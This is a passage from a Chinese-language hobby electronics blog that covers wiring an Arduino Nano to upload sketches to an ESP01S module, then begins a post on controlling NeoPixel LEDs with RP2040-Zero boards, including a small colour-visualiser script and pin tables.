<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjHGgKcBW_okvXtC7c1iPwb4Waf9k3a6Ocyx1W16xmG21xYEm6fWjHEGqJ8Eo96lCzL-Y0wNrLu3G2daf8438fJ648bng19Ga0id0fIg6mW3fPXugX5QJhJErmtEe_i7tjvhlR9EXVoxlErYrAyfz5o9u4K93ZFJIfGapNmOjmPSPmbnaMbAV4FhOu/w0/esp8266-esp01s-033.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjHGgKcBW_okvXtC7c1iPwb4Waf9k3a6Ocyx1W16xmG21xYEm6fWjHEGqJ8Eo96lCzL-Y0wNrLu3G2daf8438fJ648bng19Ga0id0fIg6mW3fPXugX5QJhJErmtEe_i7tjvhlR9EXVoxlErYrAyfz5o9u4K93ZFJIfGapNmOjmPSPmbnaMbAV4FhOu/w600/esp8266-esp01s-033.png"/></a></div>
<div>與使用 FT232RL 上載 Sketch 到 Atmega328P 非常相似</div>
<br/>
<a name="使用Arduino實際線路"></a><h5 class="mra-h5">實際線路</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj49F8BMIB6ri9qA-NBNCbDglFMPqfC91WEcHCuSpW2LIFXLgwiUJBGYY_s-T5gRFKJJ2qogLC6YQ6ZGqQtLxaemudTSdj1wYopmsXq2vKg7X-GJaSVOknq0uRrhJbRukp9n9u7ObEfQXdN_X7Z1EagNO_O4YWojjzWfdoPr4VXpQVteWCJF3vjnXIC/w0/esp8266-esp01s-034.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj49F8BMIB6ri9qA-NBNCbDglFMPqfC91WEcHCuSpW2LIFXLgwiUJBGYY_s-T5gRFKJJ2qogLC6YQ6ZGqQtLxaemudTSdj1wYopmsXq2vKg7X-GJaSVOknq0uRrhJbRukp9n9u7ObEfQXdN_X7Z1EagNO_O4YWojjzWfdoPr4VXpQVteWCJF3vjnXIC/w600/esp8266-esp01s-034.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVGAaJ0Snlite5A5cJ6O8emUbeLqRZJPe0TPhHS5ngqmqlE4VP-AzCpOj7MO0PQSmMM0TmY7NU5WoOBKqI-1_HF2mUwWq0QFPb5r7DAPvuzrXYHhDIw7tyUClN-49it9NT_Bds5XcoDEuGHDSAREO7DPujlXggJ-V0bbw6O_FdQ7c6PWmNmEaUZcv_/w0/esp8266-esp01s-035.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVGAaJ0Snlite5A5cJ6O8emUbeLqRZJPe0TPhHS5ngqmqlE4VP-AzCpOj7MO0PQSmMM0TmY7NU5WoOBKqI-1_HF2mUwWq0QFPb5r7DAPvuzrXYHhDIw7tyUClN-49it9NT_Bds5XcoDEuGHDSAREO7DPujlXggJ-V0bbw6O_FdQ7c6PWmNmEaUZcv_/w600/esp8266-esp01s-035.jpg"/></a></div>
<div>Arduino Nano 與 ESP01S 連接的情況</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcGHXwdbBaQRI2dzeBuHV0MszgqEzpQlY2SYZH_0Iwnds9YHUL9VnyAf1JrYdYrLg7kG3Qy5Icmf1p1B79kuX0gEcFVQAiDw3DCmsNlAe9-5yST5AAwQcaxuT5pdiwEwjIFTxU5NwV_jpadWfslZW7AVlyJeB0yaE7Sjjc18WtbIaq9ydRkVrmAjQC/w0/esp8266-esp01s-036.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcGHXwdbBaQRI2dzeBuHV0MszgqEzpQlY2SYZH_0Iwnds9YHUL9VnyAf1JrYdYrLg7kG3Qy5Icmf1p1B79kuX0gEcFVQAiDw3DCmsNlAe9-5yST5AAwQcaxuT5pdiwEwjIFTxU5NwV_jpadWfslZW7AVlyJeB0yaE7Sjjc18WtbIaq9ydRkVrmAjQC/w600/esp8266-esp01s-036.jpg"/></a></div>
<div>在 Arduino 的 RST引腳 及 GND引腳 連接 <span class="mra-highlighter">10uF電解電容</span></div>
<table class="mra-table mra-collapse" width="50%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="30%"/>
<col width="30%"/>
<col width="40%"/>
</colgroup>
<thead>
<tr>
<th rowspan="2">Arduino引腳</th>
<th rowspan="2">ESP01S引腳</th>
<th>其他零件</th>
</tr>
<tr>
<th>10uF電解電容引腳</th>
</tr>
</thead>
<tbody>
<tr>
<td>3V3</td>
<td>3V3</td>
<td></td>
</tr>
<tr>
<td>GND</td>
<td>GND</td>
<td>GND</td>
</tr>
<tr>
<td>TX/D0</td>
<td>RX</td>
<td></td>
</tr>
<tr>
<td>RX/D1</td>
<td>TX</td>
<td></td>
</tr>
<tr>
<td>RST</td>
<td></td>
<td>VCC</td>
</tr>
</tbody>
</table>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKYzfLbnerTyvhMXHU_wmz_PQc8wIgszFhTF9JTC656rxB8ID3l4uDQvWfphpEFPe_5WATD5EVhFFs052yKJDBhTHYun-RwXrM5Qnt6BgaGUrGP3a6bD_E2wmKldSc2L4x0lhyVE20nqAfSyQ3_dAJLs_KEXQPR5hjnO0YN_s8rnpjJj2FKjLH_KSQ/w0/esp8266-esp01s-037.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKYzfLbnerTyvhMXHU_wmz_PQc8wIgszFhTF9JTC656rxB8ID3l4uDQvWfphpEFPe_5WATD5EVhFFs052yKJDBhTHYun-RwXrM5Qnt6BgaGUrGP3a6bD_E2wmKldSc2L4x0lhyVE20nqAfSyQ3_dAJLs_KEXQPR5hjnO0YN_s8rnpjJj2FKjLH_KSQ/w600/esp8266-esp01s-037.jpg"/></a></div>
<div>使用 TTL介面 ,方便辨認引腳用途</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrHC28XpPV9_bEjBigbO3MrJuOyHABVFr6u6tUpjwafNl0qeBVl0N93K6V7iHCnyrzGYmgas-TwU1WCxi0Nwi06cwuc3dQkLDxp3Pm84Dphc2HlBkqPGhotSUhc2asAvJQ35KCzfLRvpEoUsRQ0iLVPPCp2CcSL96RHoLSa1wQ9SHmRmqtgxaOsfy2/w0/esp8266-esp01s-038.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrHC28XpPV9_bEjBigbO3MrJuOyHABVFr6u6tUpjwafNl0qeBVl0N93K6V7iHCnyrzGYmgas-TwU1WCxi0Nwi06cwuc3dQkLDxp3Pm84Dphc2HlBkqPGhotSUhc2asAvJQ35KCzfLRvpEoUsRQ0iLVPPCp2CcSL96RHoLSa1wQ9SHmRmqtgxaOsfy2/w600/esp8266-esp01s-038.jpg"/></a></div>
<div>必須接駁 3.3V 輸出至 ESP01S,否則電壓過高會損壞 ESP8266EX</div>
<br/>
<a name="使用Arduino測試"></a><h5 class="mra-h5">測試</h5>
<div><a href="https://photos.google.com/share/AF1QipMg6JGtFIx4aLb-_hyUO00KA93azBqTNnA9FxPUkHLy_5UdBCdnl4jrzYSD6Nemfw/photo/AF1QipNCwcwhJ1834XRo4Fonv-godIE28iSdVZM9Ydd3?key=eGxTM2RWS1VXcURZdzBZMnB5WVFKckxVNWZDUENB"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgngoNrE4dRlg5cbh6UW5rz_Q5WwVUim3yk6RvEES6Sgh7dIronUT1FCfUmPTFFIVQN8eKu5iU0tYedXeV9ZuHiMKfld3bhsCVaz2Sk06OzCxfo4IQKk8enK2iOLvHwpW6341X9akZBa8o/w600/esp8266-esp01s-039.jpg"/></a></div>
<div>使用 Arduino Nano 上載 Sketch 到 ESP01S</div>
<br/>
<a name="補充資料"></a><h4 class="mra-h4">補充資料</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd9LrVvAhcrcEEcZhGcuVK5YFnLtXlIKHVoiLeE20-jeWbVRuWsPQmLQfr2Se0W_k7gKcFwLJl9YVVr1paEenF96EJRVk-HvuvLuk1uHvhuqR7roKKfChJNfgxc6KQXBTaitx2UO247tZn7GGGhpag4MnaH0q9kb576c_nIxTjCrQzqIEHeZa8DWI9/w0/esp8266-esp01s-016.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd9LrVvAhcrcEEcZhGcuVK5YFnLtXlIKHVoiLeE20-jeWbVRuWsPQmLQfr2Se0W_k7gKcFwLJl9YVVr1paEenF96EJRVk-HvuvLuk1uHvhuqR7roKKfChJNfgxc6KQXBTaitx2UO247tZn7GGGhpag4MnaH0q9kb576c_nIxTjCrQzqIEHeZa8DWI9/w600/esp8266-esp01s-016.jpg"/></a></div>
<div>由於長腳引腳座會回彈,ESP01S 無法完全安裝到長腳引腳座<br/>
如果不製作轉接板,不要強行將 ESP01S 完全安裝到長腳引腳座,避免弄斷長腳引腳座</div>
<br/>
<h4 class="mra-h4">零件清單</h4>
<table class="mra-table mra-collapse" width="60%" cellspacing="5" cellpadding="5" border="1">
<colgroup>
<col width="50%">
<col width="50%">
</colgroup>
<thead>
<tr>
<th>名稱</th>
<th>數量</th>
</tr>
</thead>
<tbody>
<tr>
<td>ESP01S</td>
<td>1</td>
</tr>
<tr>
<td>FT232RL</td>
<td>1</td>
</tr>
<tr>
<td>按鈕按鈕</td>
<td>1</td>
</tr>
<tr>
<td>切換器</td>
<td>1</td>
</tr>
<tr>
<td>8孔長引腳座</td>
<td>2</td>
</tr>
<tr>
<td>跳線</td>
<td>大約10條</td>
</tr>
<tr>
<td>USB Type-A 轉 Mini USB-Type B 傳輸線</td>
<td>1</td>
</tr>
</tbody>
</table>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<div>在下最初以為 ESP01S 只是 WiFi模組 ,讓其他微控制器使用並提供 WiFi功能<br/>
但原來 ESP01S 本身都是 微控制器 ,能夠獨立運作,能夠更方便製作獨立運作的 IOT裝置</div>
<br/>
<div>雖然 ESP01S 引腳控制上只有 2支引腳 可以使用<br/>
但實際上 TX 及 RX 原本分別是 IO1 及 IO3 ,因此總共 4支引腳 能夠自由使用<br/>
如果原生引腳不夠,亦可以直接從 ESP8266EX 的引腳焊接跳線<br/>
不過要從由於 ESP8266EX 很細小,而且零件距離近,引導出引腳要非常小心</div>
<br/>
<div>自製轉接板總共花了 4小時設計及製作<br/>
在只有 0.55平方寸 的空間上焊接 13條跳線 絕對是挑戰耐性及手眼協調<br/>
最後能夠正確地完成任務</div>
<br/>
<div>網上很多使用 Arduino 將 Sketch 上載到 ESP01S 的教學,但在下都無法成功<br/>
由於亦沒有實際、具體的解決方法,通常指重覆嘗試上載,便會完成<br/>
即使有教學影片沒有上載 Sketch 的關鍵情況<br/>
最後在下就是覺得與使用 FT232RL 將 Sketch 上載到 ATmega328P 非常相似<br/>
因此將 10uF電解電容 安裝到 Arduino 的 RST引腳,最後成功</div>
<br/>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://www.espressif.com/sites/default/files/documentation/0a-esp8266ex_datasheet_en.pdf">ESP8266EX 資料表</a></li>
</ul>
</div>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-74110319078837238422023-01-20T22:27:00.010+08:002023-12-01T09:32:20.298+08:00使用 RP2040微控制器 控制 NeoPixel<div>傳統 LED 或 RGB LED 都是對應控制不同顏色光源的引腳傳送訊號<br/>
越多光源,即使以多路複用接駁,仍然需要越多引腳<br/>
而且數碼訊號只能控制開關操作,如果要控制亮度便需要具備 PWM 的引腳<br/>
因此尋找其他替代品可以更方便控制</div>
<a name='more'></a>
<script type="text/javascript">
//<!--
function padZero(value, length) {
value += "";
while (value.length < length) {
value = "0" + value;
}
return value;
}
function neopixel_rgb(value) {
value = parseInt(value, 16);
var value_r = (value & 0xFF0000) >> 16;
var value_g = (value & 0x00FF00) >> 8;
var value_b = (value & 0x0000FF);
var value_hex_r = padZero(value_r.toString(16), 2).toUpperCase();
var value_hex_g = padZero(value_g.toString(16), 2).toUpperCase();
var value_hex_b = padZero(value_b.toString(16), 2).toUpperCase();
document.getElementById("value-r-dec").textContent = value_r;
document.getElementById("value-g-dec").textContent = value_g;
document.getElementById("value-b-dec").textContent = value_b;
document.getElementById("value-grb-dec").textContent = "(" + value_g + ", " + value_r + ", " + value_b + ")";
document.getElementById("value-grb-hex").textContent = "(0x" + value_hex_g + ", 0x" + value_hex_r + ", 0x" + value_hex_b + ")";
document.getElementById("value-r-hex").textContent = "0x" + value_hex_r;
document.getElementById("value-g-hex").textContent = "0x" + value_hex_g;
document.getElementById("value-b-hex").textContent = "0x" + value_hex_b;
document.getElementById("value-rgb-dec").textContent = value;
document.getElementById("value-rgb-hex").textContent = "#" + value_hex_r + value_hex_g + value_hex_b;
var neopixel_signal_g = [
document.getElementById("neopixel-signal-g0"),
document.getElementById("neopixel-signal-g1"),
document.getElementById("neopixel-signal-g2"),
document.getElementById("neopixel-signal-g3"),
document.getElementById("neopixel-signal-g4"),
document.getElementById("neopixel-signal-g5"),
document.getElementById("neopixel-signal-g6"),
document.getElementById("neopixel-signal-g7"),
];
var neopixel_signal_r = [
document.getElementById("neopixel-signal-r0"),
document.getElementById("neopixel-signal-r1"),
document.getElementById("neopixel-signal-r2"),
document.getElementById("neopixel-signal-r3"),
document.getElementById("neopixel-signal-r4"),
document.getElementById("neopixel-signal-r5"),
document.getElementById("neopixel-signal-r6"),
document.getElementById("neopixel-signal-r7"),
];
var neopixel_signal_b = [
document.getElementById("neopixel-signal-b0"),
document.getElementById("neopixel-signal-b1"),
document.getElementById("neopixel-signal-b2"),
document.getElementById("neopixel-signal-b3"),
document.getElementById("neopixel-signal-b4"),
document.getElementById("neopixel-signal-b5"),
document.getElementById("neopixel-signal-b6"),
document.getElementById("neopixel-signal-b7"),
];
var neopixel_value_g = [
document.getElementById("neopixel-value-g0"),
document.getElementById("neopixel-value-g1"),
document.getElementById("neopixel-value-g2"),
document.getElementById("neopixel-value-g3"),
document.getElementById("neopixel-value-g4"),
document.getElementById("neopixel-value-g5"),
document.getElementById("neopixel-value-g6"),
document.getElementById("neopixel-value-g7"),
];
var neopixel_value_r = [
document.getElementById("neopixel-value-r0"),
document.getElementById("neopixel-value-r1"),
document.getElementById("neopixel-value-r2"),
document.getElementById("neopixel-value-r3"),
document.getElementById("neopixel-value-r4"),
document.getElementById("neopixel-value-r5"),
document.getElementById("neopixel-value-r6"),
document.getElementById("neopixel-value-r7"),
];
var neopixel_value_b = [
document.getElementById("neopixel-value-b0"),
document.getElementById("neopixel-value-b1"),
document.getElementById("neopixel-value-b2"),
document.getElementById("neopixel-value-b3"),
document.getElementById("neopixel-value-b4"),
document.getElementById("neopixel-value-b5"),
document.getElementById("neopixel-value-b6"),
document.getElementById("neopixel-value-b7"),
];
for (var i = 0; i < 8; i++) {
var g = (((value_g & (1 << i)) > 0) ? 1 : 0);
neopixel_signal_g[i].setAttribute("xlink:href", "#signal-" + g);
neopixel_value_g[i].textContent = g;
var r = (((value_r & (1 << i)) > 0) ? 1 : 0);
neopixel_signal_r[i].setAttribute("xlink:href", "#signal-" + r);
neopixel_value_r[i].textContent = r;
var b = (((value_b & (1 << i)) > 0) ? 1 : 0);
neopixel_signal_b[i].setAttribute("xlink:href", "#signal-" + b);
neopixel_value_b[i].textContent = b;
}
}
//-->
</script>
<div class="mra-index">
<ul>
<li><a href="#RP2040-Zero外觀">RP2040-Zero 外觀</a></li>
<li><a href="#RP2040-Zero引腳">RP2040-Zero 引腳</a></li>
<li><a href="#RP2040-One外觀">RP2040-One 外觀</a></li>
<li><a href="#RP2040-One引腳">RP2040-One 引腳</a></li>
<li><a href="#NeoPixel引腳">NeoPixel 引腳</a></li>
<li><a href="#NeoPixel訊號">NeoPixel 訊號</a></li>
<li><a href="#訊號模擬">訊號模擬</a></li>
<li><a href="#測試NeoPixel">測試 NeoPixel</a></li>
<li><a href="#使用MicroPython">使用 MicroPython</a></li>
<li><a href="#使用CircuitPython">使用 CircuitPython</a></li>
<li><a href="#使用Arduino">使用 Arduino</a></li>
<li><a href="#NeoPixel串列連接">NeoPixel串列連接</a></li>
<li><a href="#NeoPixel燈條">NeoPixel燈條</a></li>
<li><a href="#NeoPixel燈環">NeoPixel燈環</a></li>
<li><a href="#NeoPixel燈板">NeoPixel燈板</a></li>
<li><a href="#補充資料">補充資料</a>
<ul>
<li><a href="#NeoPixel的結構">NeoPixel的結構</a></li>
<li><a href="#顏色挑選器">顏色挑選器</a></li>
<li><a href="#LinuxFirefox">在 Linux 上的 Firefox</a></li>
<li><a href="#LinuxFirefox">在 Linux 上的 Firefox</a></li>
<li><a href="#Chrome">Chrome</a></li>
<li><a href="#LinuxKonqueror">在 Linux 上的 Konqueror</a></li>
<li><a href="#WindowsFirefox">在 Windows 上的 Firefox</a></li>
<li><a href="#MacSafari">在 Mac 上的 Safari</a></li>
<li><a href="#MacFirefox">在 Mac 上的 Firefox</a></li>
<li><a href="#AndroidFirefox">在 Android 上的 Firefox</a></li>
<li><a href="#AndroidChrome">在 Android 上的 Chrome</a></li>
<li><a href="#iOS">iOS</a></li>
</ul>
</li>
<li><a href="#零件清單">零件清單</a>
<li><a href="#總結">總結</a></li>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<a name="RP2040-Zero外觀"></a><h4 class="mra-h4">RP2040-Zero 外觀</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqrL8S0uLbbWrPIF-p65JwcbcCYpEIT_gWkQVnXtOCnNxrWWQLE9zaELpYNbaZyZ9b_MnYxmXN7iJyX1SGCev_KW4bi-q7uyGAIYO6eEeMsVtjtw0U_gYAJrfRj27pntGHTV8JhN2WT6H_DcxAsbBsius9yOb1gQRUrgQe_TZ52VqGU_3bpUX5TJ/w0/rp2040-neopixel-001.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqrL8S0uLbbWrPIF-p65JwcbcCYpEIT_gWkQVnXtOCnNxrWWQLE9zaELpYNbaZyZ9b_MnYxmXN7iJyX1SGCev_KW4bi-q7uyGAIYO6eEeMsVtjtw0U_gYAJrfRj27pntGHTV8JhN2WT6H_DcxAsbBsius9yOb1gQRUrgQe_TZ52VqGU_3bpUX5TJ/w600/rp2040-neopixel-001.jpg"/></a></div>
<div>RP2040-Zero 正面</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7UPY7E2qbGegZAqYZvbvIvNol0KARttckpSg-izNRW4PbJyoHFU9tm8LDlPWUvrPXspvJOTEIIBELZprKalOORrbypjFITxCX-Zll4tAM5kKizfYtxtS7_S-ocschusKZclU67Ry8Q4r8BOvCwgGXkIMYpTzuEUQZWADV0yTrqAwDH80JBbcV191h/w0/rp2040-neopixel-002.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7UPY7E2qbGegZAqYZvbvIvNol0KARttckpSg-izNRW4PbJyoHFU9tm8LDlPWUvrPXspvJOTEIIBELZprKalOORrbypjFITxCX-Zll4tAM5kKizfYtxtS7_S-ocschusKZclU67Ry8Q4r8BOvCwgGXkIMYpTzuEUQZWADV0yTrqAwDH80JBbcV191h/w600/rp2040-neopixel-002.jpg"/></a></div>
<div>RP2040-Zero 使用 GP16 以 NeoPixel RGB LED 取代傳統 LED 作為 電路板LED<br/>
增強視覺訊號效果</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCnRkAukeIjyoc9XoQeLSq8pNtfaYrKl5uub48j-wXdmQBeZGnDpR5q6AQ2o6yKPo3ghl53KAyhmvho7e87ja4bnWLbUuo3zCnLf_vchSkZATL9vRQJQv0TENct3A3ynnyvxYSh-_-MHDKWUeXPyCp4yj6FjQ1nuW22TaMKeUr6XhwMYTLW0V9oRAO/w0/rp2040-neopixel-003.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCnRkAukeIjyoc9XoQeLSq8pNtfaYrKl5uub48j-wXdmQBeZGnDpR5q6AQ2o6yKPo3ghl53KAyhmvho7e87ja4bnWLbUuo3zCnLf_vchSkZATL9vRQJQv0TENct3A3ynnyvxYSh-_-MHDKWUeXPyCp4yj6FjQ1nuW22TaMKeUr6XhwMYTLW0V9oRAO/w600/rp2040-neopixel-003.jpg"/></a></div>
<div>1P 2MB 快閃記憶體</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqWiNX8eIo-yi_T0nMd4fdVZBgyKy6C15egf4Hn30qjnAs49A_CjHnh_KMjOShvwGFw6VwawPhOcIBrF9LQD4fjNWtWA6MLpnW_NZ66CBJT9LWV3Co6sFgZxjOa5gIXG_-c3leBO6OWWiUmbct7nNNaJZBxnVpXhvWLtZX3ZgSK4keu2IjW8Bj7pX7/w0/rp2040-neopixel-007.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqWiNX8eIo-yi_T0nMd4fdVZBgyKy6C15egf4Hn30qjnAs49A_CjHnh_KMjOShvwGFw6VwawPhOcIBrF9LQD4fjNWtWA6MLpnW_NZ66CBJT9LWV3Co6sFgZxjOa5gIXG_-c3leBO6OWWiUmbct7nNNaJZBxnVpXhvWLtZX3ZgSK4keu2IjW8Bj7pX7/w600/rp2040-neopixel-007.jpg"/></a></div>
<div>使用 USB Type-C 插口</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEn7LPE8dQ6N5SA8-sPwLxXKw0jULa9Fa6z1rsGFUKeFsuvyooDIZhbtcTwGXgZSAcwBJM7Jn2X_Y9RukcyoXDJrDv20JXZfwtFWPf0MS_ztyvwLHmTuY5fGzthKkDg-kk6uOI5bZZmxLza5VWVEH3F4xiaYgeNuIitqVDb4TNj66s4u6bEM09up2Q/w0/rp2040-neopixel-005.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEn7LPE8dQ6N5SA8-sPwLxXKw0jULa9Fa6z1rsGFUKeFsuvyooDIZhbtcTwGXgZSAcwBJM7Jn2X_Y9RukcyoXDJrDv20JXZfwtFWPf0MS_ztyvwLHmTuY5fGzthKkDg-kk6uOI5bZZmxLza5VWVEH3F4xiaYgeNuIitqVDb4TNj66s4u6bEM09up2Q/w600/rp2040-neopixel-005.jpg"/></a></div>
<div>與 Raspberry Pi Pico 相同的 RP2040晶片焊接在 RP2040-Zero 背後</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd2T2U44kKpnYYTdCeuQaLUGbjrX8oF-k8B4V-ZOVxEQV7w8hRXR_xgHRAPM_GMHoCnkyWHTc_uepUDNFwGpwh5Db37MlylmKmaU3mlZ3Kd8ySxqfxquSOeAsBPNjQBQ8iW9aP_J08gJfRxg8QPZlN6wFxFYrx6EEB1MPa1Jhcd_oMOeQGFj_F7jkr/w0/rp2040-neopixel-004.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd2T2U44kKpnYYTdCeuQaLUGbjrX8oF-k8B4V-ZOVxEQV7w8hRXR_xgHRAPM_GMHoCnkyWHTc_uepUDNFwGpwh5Db37MlylmKmaU3mlZ3Kd8ySxqfxquSOeAsBPNjQBQ8iW9aP_J08gJfRxg8QPZlN6wFxFYrx6EEB1MPa1Jhcd_oMOeQGFj_F7jkr/w600/rp2040-neopixel-004.jpg"/></a></div>
<div>使用 12MHz 晶體振盪器</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSKIy_J-Z9j4O6ksqbERLE8IfCIn3AIb_02cgEfDfLiVwO87ja2PO6-ULpH-0dmUoiWWGYgsCmYMLSYRL28_kOORIOB7F3DGVrnyzDTC6bovdB18-NFF1icIVsK3stKXdUHRkRsoYOg5ohKhmArrt8bHPdhzgq35WY9F8aePJ-TOZaOIrdHOLhMQSV/w0/rp2040-neopixel-006.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSKIy_J-Z9j4O6ksqbERLE8IfCIn3AIb_02cgEfDfLiVwO87ja2PO6-ULpH-0dmUoiWWGYgsCmYMLSYRL28_kOORIOB7F3DGVrnyzDTC6bovdB18-NFF1icIVsK3stKXdUHRkRsoYOg5ohKhmArrt8bHPdhzgq35WY9F8aePJ-TOZaOIrdHOLhMQSV/w600/rp2040-neopixel-006.jpg"/></a></div>
<div>J2 3.3V 線性穩壓器</div>
<br/>
<a name="RP2040-Zero引腳"></a><h4 class="mra-h4">RP2040-Zero 引腳</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-S_vFYDwI4VFCmoJL-8DxWFd2SX8IGHwQvwNpGp48CHBRHn0hxhzsuKCudGK3W-1gY8N5fUROBilM7w_AKlhFtQ5_xXPIckdAXm3kHz6NurmVs5X8uGdRElKeSR-7lg96o9eGfUnPxSeolmi26qt3J1FssW14Eqjw-8nGdrEP_szhrtqTb0X1vkY3/w0/rp2040-neopixel-008.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-S_vFYDwI4VFCmoJL-8DxWFd2SX8IGHwQvwNpGp48CHBRHn0hxhzsuKCudGK3W-1gY8N5fUROBilM7w_AKlhFtQ5_xXPIckdAXm3kHz6NurmVs5X8uGdRElKeSR-7lg96o9eGfUnPxSeolmi26qt3J1FssW14Eqjw-8nGdrEP_szhrtqTb0X1vkY3/w600/rp2040-neopixel-008.jpg"/></a></div>
<div>RP2040-Zero 雖然細少,但能夠使用所有 GPIO引腳<br/>
GP0 至 GP15 及 GP26 至 GP29 引腳使用 0.1英寸間隔引腳<br/>
其中 GP0 至 GP8, GP14, GP15, GP26 至 GP29 引腳使用 雙列直插 設計,能夠安裝到麵包板上使用<br/>
而 GP9 至 GP13 則在 RP2040-Zero 末端,能夠讓 通孔裝置 直接連接使用</div>
<br/>
<table class="mra-table mra-collapse" width="60%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="10%"/>
<col width="40%"/>
<col width="10%"/>
<col width="40%"/>
</colgroup>
<thead>
<tr>
<th colspan="2">正面左側引腳</th>
<th colspan="2">正面右側引腳</th>
</tr>
</thead>
<tbody>
<tr>
<td>5V</td>
<td>5V 電源輸出</td>
<td>GP0</td>
<td>第0數碼引腳</td>
</tr>
<tr>
<td>GND</td>
<td>接地</td>
<td>GP1</td>
<td>第1數碼引腳</td>
</tr>
<tr>
<td>3V3</td>
<td>3.3V 電源輸出</td>
<td>GP2</td>
<td>第2數碼引腳</td>
</tr>
<tr>
<td>GP29</td>
<td>第29數碼引腳,第3類比引腳</td>
<td>GP3</td>
<td>第3數碼引腳</td>
</tr>
<tr>
<td>GP28</td>
<td>第28數碼引腳,第2類比引腳</td>
<td>GP4</td>
<td>第4數碼引腳</td>
</tr>
<tr>
<td>GP27</td>
<td>第27數碼引腳,第1類比引腳</td>
<td>GP5</td>
<td>第5數碼引腳</td>
</tr>
<tr>
<td>GP26</td>
<td>第26數碼引腳,第0類比引腳</td>
<td>GP6</td>
<td>第6數碼引腳</td>
</tr>
<tr>
<td>GP15</td>
<td>第15數碼引腳</td>
<td>GP7</td>
<td>第7數碼引腳</td>
</tr>
<tr>
<td>GP14</td>
<td>第14數碼引腳</td>
<td>GP8</td>
<td>第8數碼引腳</td>
</tr>
</tbody>
</table>
<table class="mra-table mra-collapse" width="60%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="20%"/>
<col width="80%"/>
</colgroup>
<thead>
<tr>
<th colspan="2">正面末端引腳(左至右)</th>
</tr>
</thead>
<tbody>
<tr>
<td>GP13</td>
<td>第13數碼引腳</td>
</tr>
<tr>
<td>GP12</td>
<td>第12數碼引腳</td>
</tr>
<tr>
<td>GP11</td>
<td>第11數碼引腳</td>
</tr>
<tr>
<td>GP10</td>
<td>第10數碼引腳</td>
</tr>
<tr>
<td>GP9</td>
<td>第9數碼引腳</td>
</tr>
</tbody>
</table>
<br/>
